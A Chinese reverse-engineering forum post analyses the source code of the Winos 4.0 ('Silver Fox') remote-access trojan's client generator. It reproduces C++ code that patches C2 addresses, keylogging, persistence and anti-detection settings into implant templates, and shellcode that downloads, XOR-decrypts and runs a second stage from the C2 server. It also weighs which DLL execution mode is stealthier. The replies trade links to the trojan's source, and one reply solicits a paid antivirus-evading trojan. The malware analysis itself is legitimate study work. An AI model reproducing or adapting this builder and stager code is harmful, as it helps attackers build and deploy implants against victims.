[原创]银狐 winos 4.0 源码分析：客户端生成流程-逆向工程-看雪安全社区

[原创]银狐 winos 4.0 源码分析：客户端生成流程

发表于: 2024-11-22 10:52 27157

[原创]银狐 winos 4.0 源码分析：客户端生成流程

bwner

2024-11-22 10:52

27157

# 前言
最近在学习木马分析，网上关于银狐的源码分析目前还没看到，挖个坑学一学银狐（winos 4.0）的源码。

# 核心函数
`客户生成/BuildDlg.cpp` 是生成客户端的窗口类(CBuildDlg)的实现代码，是由下面几个函数实现客户端的生成：

```c
void OnBnClickedBuildexe() // 生成EXE文件 
void OnBnClickedBuilddll() // 生成DLL文件
void OnBnClickedBuildShellcode() // 生成Shellcode
void OnBnClickedBuildPowershell() // 生成PowerShell脚本，PowerShell生成方式只使用第一组服务器配置。
```

生成过程由`CBuildDlg::build`函数进行控制，被上面几个函数进行调用，此处为核心代码：

```c
BOOL CBuildDlg::build(int mode)
{
	UpdateData(TRUE);
	CFileDialog dlg(FALSE, _T(""), _T("output"), OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, _T("可执行文件(*.*)| All Files (*.*) |*.*||"), NULL);
	if (dlg.DoModal() != IDOK)
	{
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("已取消生成\r\n"));
		return FALSE;
	}
	CString path;
	if (mode == 0)
	{
		if (!getsettingdata())
		{
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数失败\r\n"));
			return FALSE;
		}
		path = _T("\\Plugins\\x86\\上线模块.bin");
		swprintf_s(writepath, _T("%s_86.exe"), dlg.GetPathName());
		if (!changedataandwritefile(path))
		{
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x86  exe 生成失败\r\n"));
			return FALSE;
		}
		path = _T("\\Plugins\\x64\\上线模块.bin");
		swprintf_s(writepath, _T("%s_64.exe"), dlg.GetPathName());
		if (!changedataandwritefile(path))
		{
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x64  exe 生成失败\r\n"));
			return FALSE;
		}
	}
	if (mode == 1)
	{
		if (MessageBox(_T("Dll加载运行DllMain吗？"), _T("加载执行"), MB_OKCANCEL) == IDOK)
		{
			MyInfo.otherset.RunDllEntryProc = true;
		}
		else
		{
			MyInfo.otherset.RunDllEntryProc = false;
		}
		if (!getsettingdata())
		{
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数失败\r\n"));
			return FALSE;
		}
		path = _T("\\Plugins\\x86\\上线模块.dll");
		swprintf_s(writepath, _T("%s_86.dll"), dlg.GetPathName());
		if (!changedataandwritefile(path, TRUE))
		{
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x86  dll 生成失败\r\n"));
			return FALSE;
		}
		path = _T("\\Plugins\\x64\\上线模块.dll");
		swprintf_s(writepath, _T("%s_64.dll"), dlg.GetPathName());
		if (!changedataandwritefile(path, TRUE))
		{
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x64  exe 生成失败\r\n"));
			return FALSE;
		}
	}
	return TRUE;

}
```

整体流程为：

1. 获取保存路径
2. 获取配置信息 `getsettingdata()`
3. 读取模板文件(.bin或.dll)
4. 修改配置数据
5. 写入新文件

其中获取配置信息的`getsettingdata()`函数尤为重要，配置信息由客户端界面进行设置，部分为默认值：

```c
BOOL CBuildDlg::getsettingdata()
{
	UpdateData(TRUE);
	m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数\r\n"));

_tcscpy_s(MyInfo.szAddress, m_edit_ip.GetBuffer(0));
	_tcscpy_s(MyInfo.szPort, m_edit_port.GetBuffer(0));
	MyInfo.IsTcp = h_combo_net.GetCurSel() ? false : true;

_tcscpy_s(MyInfo.szAddress2, m_edit_ip2.GetBuffer(0));
	_tcscpy_s(MyInfo.szPort2, m_edit_port2.GetBuffer(0));
	MyInfo.IsTcp2 = h_combo_net2.GetCurSel() ? false : true;

_tcscpy_s(MyInfo.szAddress3, m_edit_ip3.GetBuffer(0));
	_tcscpy_s(MyInfo.szPort3, m_edit_port3.GetBuffer(0));
	MyInfo.IsTcp3 = h_combo_net3.GetCurSel() ? false : true;

_tcscpy_s(MyInfo.szRunSleep, m_edit_first_time.GetBuffer(0));
	_tcscpy_s(MyInfo.szHeart, m_edit_rest_time.GetBuffer(0));
	_tcscpy_s(MyInfo.Remark, m_edit_v.GetBuffer(0));
	_tcscpy_s(MyInfo.szGroup, m_edit_g.GetBuffer(0));

MyInfo.otherset.IsKeyboard = (((CButton*)GetDlgItem(IDC_CHECK_KEYBOARD))->GetCheck()) ? true : false;
	MyInfo.otherset.antinet = (((CButton*)GetDlgItem(IDC_CHECK_NET))->GetCheck()) ? true : false;
	MyInfo.otherset.Processdaemon = (((CButton*)GetDlgItem(IDC_CHECK_PROCESSDAEMON))->GetCheck()) ? true : false;
	MyInfo.otherset.ProtectedProcess = (((CButton*)GetDlgItem(IDC_CHECK_PROTEXTEDPROCESS))->GetCheck()) ? true : false;
	MyInfo.otherset.puppet = (((CButton*)GetDlgItem(IDC_CHECK_PUPPET))->GetCheck()) ? true : false;

CString s = confimodel;
	Setfindinfo(s, _T("地址1"), MyInfo.szAddress, NULL);
	Setfindinfo(s, _T("端口1"), MyInfo.szPort, NULL);
	Setfindinfo(s, _T("通信1"), NULL, MyInfo.IsTcp);

Setfindinfo(s, _T("地址2"), MyInfo.szAddress2, NULL);
	Setfindinfo(s, _T("端口2"), MyInfo.szPort2, NULL);
	Setfindinfo(s, _T("通信2"), NULL, MyInfo.IsTcp2);

Setfindinfo(s, _T("地址3"), MyInfo.szAddress3, NULL);
	Setfindinfo(s, _T("端口3"), MyInfo.szPort3, NULL);
	Setfindinfo(s, _T("通信3"), NULL, MyInfo.IsTcp3);

Setfindinfo(s, _T("等待"), MyInfo.szRunSleep, NULL);
	Setfindinfo(s, _T("重连"), MyInfo.szHeart, NULL);
	Setfindinfo(s, _T("分组"), MyInfo.szGroup, NULL);
	Setfindinfo(s, _T("版本"), MyInfo.szVersion, NULL);
	Setfindinfo(s, _T("备注"), MyInfo.Remark, NULL);

Setfindinfo(s, _T("键盘"), NULL, MyInfo.otherset.IsKeyboard);
	Setfindinfo(s, _T("保护"), NULL, MyInfo.otherset.ProtectedProcess);
	Setfindinfo(s, _T("流量"), NULL, MyInfo.otherset.antinet);
	Setfindinfo(s, _T("入口"), NULL, MyInfo.otherset.RunDllEntryProc);
	Setfindinfo(s, _T("守护"), NULL, MyInfo.otherset.Processdaemon);
	Setfindinfo(s, _T("傀儡"), NULL, MyInfo.otherset.puppet);
	Setfindinfo(s, _T("特别"), NULL, MyInfo.otherset.special);
	s.MakeReverse();
	ZeroMemory(confi, 1000 * 2);
	memcpy(confi, s.GetBuffer(), s.GetLength() * 2 + 2);
	return TRUE;

}
```

# 生成 exe
生成客户端（exe）的日志如下：

```c
开始生成.
初始化参数
读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x86\上线模块.bin
修改配置信息
写出成功C:\Users\root\Desktop\新建文件夹\output_86.exe
读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x64\上线模块.bin
修改配置信息
写出成功C:\Users\root\Desktop\新建文件夹\output_64.exe
生成成功
```

其中 `上线模块.bin -> output_64.exe` 流程由` CBuildDlg::changedataandwritefile()`函数控制，具体流程为：

1. 读取bin文件内容（上线模块.bin）
2. 在内存中查找和替换配置信息
3. 以exe扩展名写出文件

```c
BOOL CBuildDlg::changedataandwritefile(CString path, BOOL bchangeexport)
{
	TCHAR DatPath[MAX_PATH] = { 0 };
	GetModuleFileName(NULL, DatPath, sizeof(DatPath));
	*_tcsrchr(DatPath, _T('\\')) = '\0';
	CString path_data;
	path_data = DatPath;
	path_data += path;

WIN32_FIND_DATA FindData;
	HANDLE hFile;
	hFile = FindFirstFile(path_data, &FindData);
	if (hFile == INVALID_HANDLE_VALUE) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("文件不存在")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer());  m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n"));  return FALSE; }
	FindClose(hFile);

m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("读取文件")); 	m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer());  m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n"));
	hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("读取文件失败")); 	m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer());  m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n"));
		return FALSE;
	}
	DWORD len = GetFileSize(hFile, NULL);
	char* str = new char[len];
	ZeroMemory(str, sizeof(str));
	DWORD wr = 0;
	ReadFile(hFile, str, len, &wr, NULL);
	CloseHandle(hFile);
	m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("修改配置信息\r\n"));
	DWORD dwOffset = -1;
	dwOffset = memfind(str, _T("xiugaishiyong"), len, 0);

if (dwOffset == -1)											 //无法修改配置信息就退出
	{

m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("找不到上线配置标记 \r\n"));
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer());
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("r\n"));
		SAFE_DELETE_AR(str);
		return FALSE;
	}

DWORD dwOffset_export = -1;
	char* exportnamebuf = NULL;
	int exportnamelen = 0;

if (bchangeexport)
	{

dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0);
		 exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL);
		exportnamebuf = new char[exportnamelen + 1];
		WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, exportnamebuf, exportnamelen, NULL, NULL);
		if ((dwOffset_export == -1))  //无法修改到处函数名就退出
		{
			log_信息("找不到导出函数");
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("找不到导出函数zidingyixiugaidaochuhanshu标记\r\n"));
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer());
			m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("r\n"));
			SAFE_DELETE_AR(exportnamebuf);
			SAFE_DELETE_AR(str);
			return FALSE;
		}
	}

//写出配置好的文件
	CFile file;
	if (file.Open(writepath, CFile::modeCreate | CFile::modeWrite | CFile::modeRead | CFile::typeBinary))
	{
		if (dwOffset != -1)
			memcpy(str + dwOffset, (char*)&confi, lstrlen(confi) * 2 + 1);

if (bchangeexport)
			memcpy(str + dwOffset_export, (char*)exportnamebuf, exportnamelen);
		file.Write(str, len);
		file.Close();
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("写出成功")); 	m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)writepath);  m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n"));
		SAFE_DELETE_AR(str);
		return TRUE;
	}
	else
	{
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("文件无法创建,查看是否占用\r\n"));
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)writepath);
		m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("r\n"));
		SAFE_DELETE_AR(str);
		return FALSE;
	}

}
```

上述流程详细来说：

1. 上线模块.bin 本身就是一个完整的PE格式文件，只是扩展名是 .bin
2. bin文件中预留了一个特定标记 "xiugaishiyong" 用于配置信息的替换
3. 程序只是简单完成：
    - 读取这个PE文件
    - 替换其中的配置信息
    - 以.exe扩展名保存
    - 文件本身的PE结构和代码都没有改变

也就是说，.bin 文件实际上就是预先编译好的exe文件，最后进行：

1. 改成 .bin 扩展名
2. 预留了配置信息占位符
3. 生成过程只是替换配置并改回 .exe 扩展名

# 生成 dll
生成客户端（dll）的日志为：

```c
开始生成.
初始化参数
读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x86\上线模块.dll
修改配置信息
写出成功C:\Users\root\Desktop\新建文件夹\output_86.dll
读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x64\上线模块.dll
修改配置信息
写出成功C:\Users\root\Desktop\新建文件夹\output_64.dll
生成成功
```

生成dll的核心函数为`CBuildDlg::OnBnClickedBuilddll()`，具体流程为：

1. 首先会询问是否加载DLL入口点
2. 使用的是DLL模板文件（上线模块.dll）
3. DLL生成时需要额外处理导出函数
4. 写出dll文件

```c
if (mode == 1)
{
    if (MessageBox(_T("Dll加载运行DllMain吗？"), _T("加载执行"), MB_OKCANCEL) == IDOK)
    {
        MyInfo.otherset.RunDllEntryProc = true;
    }
    else
    {
        MyInfo.otherset.RunDllEntryProc = false;
    }
    if (!getsettingdata())
    {
        m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数失败\r\n"));
        return FALSE;
    }
    path = _T("\\Plugins\\x86\\上线模块.dll");
    swprintf_s(writepath, _T("%s_86.dll"), dlg.GetPathName());
    if (!changedataandwritefile(path, TRUE))
    {
        m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x86  dll 生成失败\r\n"));
        return FALSE;
    }
    path = _T("\\Plugins\\x64\\上线模块.dll");
    swprintf_s(writepath, _T("%s_64.dll"), dlg.GetPathName());
    if (!changedataandwritefile(path, TRUE))
    {
        m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x64  exe 生成失败\r\n"));
        return FALSE;
    }
}
```

首先会询问是否加载DLL入口点的原因是这个dll可以使用两种执行方式：

+ 通过DllMain执行（RunDllEntryProc = true）
+ 通过导出函数执行（可自定义导出函数名），默认导出函数名为"run"

DLL生成时需要额外处理导出函数，这里额外使用了一个标记 "zidingyixiugaidaochuhanshu"：

```c
BOOL CBuildDlg::changedataandwritefile(CString path, BOOL bchangeexport)
{
    if (bchangeexport)
    {
        // 查找导出函数标记
        dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0);
        exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL);
        exportnamebuf = new char[exportnamelen + 1];
        WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, exportnamebuf, exportnamelen, NULL, NULL);
        
        // 替换导出函数名
        if (dwOffset_export != -1)
            memcpy(str + dwOffset_export, (char*)exportnamebuf, exportnamelen);
    }

...
}
```

生成过程中会将这个函数名替换到DLL模板中预设的"zidingyixiugaidaochuhanshu"标记位置。在代码中导出函数名是通过界面上的 m_edit_dll 变量控制的，其默认值为"run"：

```c
void CBuildDlg::OnInitialUpdate()
{
	CXTPResizeFormView::OnInitialUpdate();
	m_buildonce = false;
	static bool binit = false;

if (!binit)
	{
		((CEdit*)GetDlgItem(IDC_EDIT__POWERSHELL))->SetLimitText(0x00400000);
		m_edit_ip = _T("127.0.0.1");
		m_edit_ip2 = _T("127.0.0.1");
		m_edit_ip3 = _T("127.0.0.1");
		m_edit_port = _T("6666");
		m_edit_port2 = _T("8888");
		m_edit_port3 = _T("80");
		h_combo_net.SetCurSel(0);
		h_combo_net2.SetCurSel(0);
		h_combo_net3.SetCurSel(0);
		m_edit_first_time = _T("1");
		m_edit_rest_time = _T("1");
		m_edit_g = _T("默认");

SYSTEMTIME stime;
		GetLocalTime(&stime);
		m_edit_v.Format(_T("%2d.%2d.%2d"), stime.wYear, stime.wMonth, stime.wDay);
		m_edit_dll = _T("run");

...
    }
}
```

银狐的设计比较灵活，对比两种dll执行方式，各有优缺点：

DllMain执行：

+ DLL加载时自动运行
+ 不需要显式调用任何函数
+ 更容易被检测

导出函数执行：

+ 需要显式调用指定的导出函数
+ 更灵活，可以控制执行时机
+ 可以自定义函数名，更隐蔽
+ 可以传递参数

# 生成 shellcode
生成Shellcode的主要流程在`OnBnClickedBuildShellcode`和`changeshellcodeandwritefile`这两个函数中。主要流程如下：

首先提示用户Shellcode的限制：

```cpp
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("注意：shellcode上线只使用第一组和第二组 IP 端口配置 支持TCP UDP，其他一样\r\n"));
```

准备Shellcode的配置信息：

```cpp
// 第一组配置
ShellCodeInfo m_ShellCodeInfo;
memcpy(&m_ShellCodeInfo, &MyShellCodeInfo, sizeof(ShellCodeInfo));
// IP地址
char addr1[256] = {};
WideCharToMultiByte(CP_ACP, 0, m_edit_ip.GetBuffer(0), nLen, addr1, 2 * nLen, NULL, NULL);
m_ShellCodeInfo.szPort1 = _ttoi(m_edit_port.GetBuffer(0));
m_ShellCodeInfo.IsTcp1 = h_combo_net.GetCurSel() ? false : true;
m_ShellCodeInfo.addrlen1 = strlen(addr1) + 1;

// 第二组配置
char addr2[256] = {};
WideCharToMultiByte(CP_ACP, 0, m_edit_ip2.GetBuffer(0), nLen, addr2, 2 * nLen, NULL, NULL);
m_ShellCodeInfo.szPort2 = _ttoi(m_edit_port2.GetBuffer(0));
m_ShellCodeInfo.IsTcp2 = h_combo_net2.GetCurSel() ? false : true;
m_ShellCodeInfo.addrlen2 = strlen(addr2) + 1;
```

读取Shellcode模板文件：

```cpp
path = _T("\\Plugins\\x86\\执行代码.dll");  // x86版本
path = _T("\\Plugins\\x64\\执行代码.dll");  // x64版本

HANDLE hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD len = GetFileSize(hFile, NULL);
char* str = new char[len];
ReadFile(hFile, str, len, &wr, NULL);
```

组合Shellcode数据：

```cpp
// 计算总大小
int shellcodesize = len + sizeof(ShellCodeInfo) + m_ShellCodeInfo.addrlen1 + m_ShellCodeInfo.addrlen2 + lstrlen(confi) * 2 + 2;

// 分配内存并组合数据
unsigned char* lpDatBuffer = new unsigned char[shellcodesize];
// 1. 复制原始shellcode
CopyMemory(lpDatBuffer, str, len);
// 2. 复制配置信息
CopyMemory(lpDatBuffer + len, (LPCVOID)&m_ShellCodeInfo, sizeof(ShellCodeInfo));
// 3. 复制IP地址1
CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo), addr1, m_ShellCodeInfo.addrlen1);
// 4. 复制IP地址2
CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + m_ShellCodeInfo.addrlen1, addr2, m_ShellCodeInfo.addrlen2);
// 5. 复制其他配置
CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + m_ShellCodeInfo.addrlen1 + m_ShellCodeInfo.addrlen2, confi, lstrlen(confi) * 2 + 2);
```

写出Shellcode文件：

```cpp
HANDLE h_bin = CreateFileW(writepath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
WriteFile(h_bin, lpDatBuffer, (DWORD)shellcodesize, &dwBytesWritten, NULL);
```

其中Shellcode的数据结构为：

```cpp
struct ShellCodeInfo
{
    char mark[30];     //标记
    int addrlen1;      //IP1长度
    int szPort1;       //端口1
    bool IsTcp1;       //通信模式1
    int addrlen2;      //IP1长度
    int szPort2;       //端口2
    bool IsTcp2;       //通信模式2
};
```

数据排列方式：

```plain
[原始shellcode][配置信息][IP地址1][IP地址2][其他配置]
```

可以看到这里使用的是执行代码.dll而不是上线模块.dll，是因为执行代码.dll和上线模块.dll的用途和结构是不同的：

上线模块.dll：

+ 是一个完整的DLL文件
+ 包含PE头、导出表等完整PE结构
+ 用于加载为DLL使用
+ 通过DllMain或导出函数执行
+ 需要LoadLibrary等标准DLL加载方式

执行代码.dll：

+ 实际上是位置无关代码（PIC）
+ 用于生成Shellcode

执行代码.dll的源码`ShellCode_main.cpp`的实现核心为：

+ 接收加密的payload（XOR）
+ 解密并执行payload
+ payload接收控制端指令

从执行代码.dll(shellcode)下载的payload是上线模块.dll/.bin：

```cpp
// TCP模式下固定接收大小
} while (len != (300 * 1024 + 14));  // 约300KB
```

2. payload下载后的处理：

```cpp
// 解密
byte* password = (byte*)(func->buff) + 4;
func->buff = (char*)(func->buff) + 14;  // 跳过14字节头部
for (int i = 0, j = 0; i < (int)len; i++) {
    ((char*)func->buff)[i] ^= (password[j++]) % 456 + 54;
}

// 执行payload并传入配置
typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
CODE fn = ((CODE(*)()) func->buff)();
fn(func->confi);  // 传入配置信息
```

最后Shellcode完整执行方式为：

```plain
执行代码.dll(shellcode)
↓
连接服务器
↓
下载执行上线模块
↓
解密并执行上线模块，传入配置
↓
下载执行登录模块
```

# 总结
powershell 目前很少用到，并且有一定限制，本文主要针对几种主要使用的客户端生成流程进行分析，如有问题欢迎指正。

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2024-11-22 10:54 被bwner编辑，原因：

#病毒木马

收藏・7

点赞・8

打赏

最新回复 (20)
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 2 楼大佬方便分享一份源码吗 2024-11-22 13:44 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 3 楼 Hades一KXXY 大佬方便分享一份源码吗我看的这套 c29K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3L8$3N6C8K9i4y4K6i4K6u0r3f1X3q4@1i4K6u0V1N6$3W2F1L8%4x3@1i4K6u0W2x3q4)9J5k6r3N6Z5x3s2y4@1 2024-11-22 14:03 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 4 楼 bwner 我看的这套 92bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3L8$3N6C8K9i4y4K6i4K6u0r3f1X3q4@1i4K6u0V1N6$3W2F1L8%4x3@1i4K6u0W2x3q4)9J5k6r3N6Z5x3s2y4@1 winos4.0 里面的源码全是空的这个项目 2024-11-22 14:07 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 5 楼 Hades一KXXY winos4.0 里面的源码全是空的这个项目有的，插件就是源码 2024-11-22 14:27 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 6 楼 bwner 有的，插件就是源码我打开方式错误了么，就是模块里 2024-11-22 14:36 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 7 楼 Hades一KXXY 我打开方式错误了么，就是模块里看起来确实删掉了，用git版本回退吧，看到他明确写了delete了哈哈哈 2024-11-22 14:37 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 8 楼 bwner 看起来确实删掉了，用git版本回退吧，看到他明确写了delete了哈哈哈我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前存的吗 2024-11-22 14:40 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 9 楼 Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前存的吗大佬方便发一份吗，在线等着学习 2024-11-22 15:13 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 10 楼 Hades一KXXY 大佬方便发一份吗，在线等着学习不方便 2024-11-22 15:18 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 11 楼 bwner 不方便那可以单发一下BuildDlg.cpp么 2024-11-22 15:19 0
2DCoXrq 雪币： 2570 活跃值： (9325) 能力值： ( LV2，RANK：15 ) 在线值：发帖 37 回帖 499 粉丝 98 关注私信	2DCoXrq 12 楼 Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前存的吗银狐这里倒是有套源码，当心有后门 eb0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4j5%4p5J5z5p5W2H3f1V1E0Q4y4h3k6e0d9W2u0G2c8W2M7K6M7o6S2A6b7g2A6%4 提取码：d77k 只需要 BuildDlg.cpp 的话 6beK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5i4K6u0W2N6%4x3J5z5q4)9J5k6h3y4F1i4K6u0r3k6W2)9J5c8X3k6E0M7h3V1J5P5i4t1J5j5e0y4#2 最后于 2024-11-22 16:25 被2DCoXrq编辑，原因： 2024-11-22 16:19 3
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 13 楼 2DCoXrq Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前 ... 谢谢大佬，你可太好了，我用虚拟机研究，加规则的，感谢 2024-11-22 16:34 0
CppLover 雪币： 204 活跃值： (155) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 9 粉丝 5 关注私信	CppLover 14 楼 2DCoXrq Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前 ... 你好。只需要 BuildDlg.cpp 的话 0efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5i4K6u0W2N6%4x3J5z5q4)9J5k6h3y4F1i4K6u0r3k6W2)9J5c8X3k6E0M7h3V1J5P5i4t1J5j5e0y4#2 2024-12-4 23:02 0
CppLover 雪币： 204 活跃值： (155) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 9 粉丝 5 关注私信	CppLover 15 楼 2DCoXrq Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前 ... 这个链接失效了，可以再发一次吗？ 2024-12-4 23:06 0
领航装饰雪币： 27 活跃值： (80) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	领航装饰 16 楼学习，虽然看不懂 2024-12-13 10:21 0
mb_vdaqkotg 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_vdaqkotg 17 楼 146K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8V1c8F1d9r3u0K9y4g2)9J5k6r3A6E0i4K6u0V1P5W2N6h3c8s2q4v1c8#2N6m8b7$3#2m8 银狐木马插件源码学习之注入管理最后于 2024-12-13 10:35 被mb_vdaqkotg编辑，原因：写错了 2024-12-13 10:32 0
mb_mqcpjtlj 雪币： 268 活跃值： (165) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 26 粉丝 2 关注私信	mb_mqcpjtlj 18 楼写一个马改变锁定电脑IE代理地址并且不被杀毒软件清理待遇丰厚可长期合作会的联系我感谢????楼主 2025-1-11 00:55 0
hbwa486 雪币： 124 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 4 粉丝 0 关注私信	hbwa486 19 楼弱弱问下，动态和通讯怎么改，谁有教程 2025-7-7 20:12 0
mb_fopjuexb 雪币： 1 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_fopjuexb 20 楼编译一堆错误 2025-9-30 18:21 0
yuanyouran 雪币： 305 活跃值： (3075) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 184 粉丝 0 关注私信	yuanyouran 21 楼链接都失效了，可不可以再分享下 2026-6-8 21:55 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

bwner

发帖

回帖

160

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (20)
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 2 楼大佬方便分享一份源码吗 2024-11-22 13:44 0
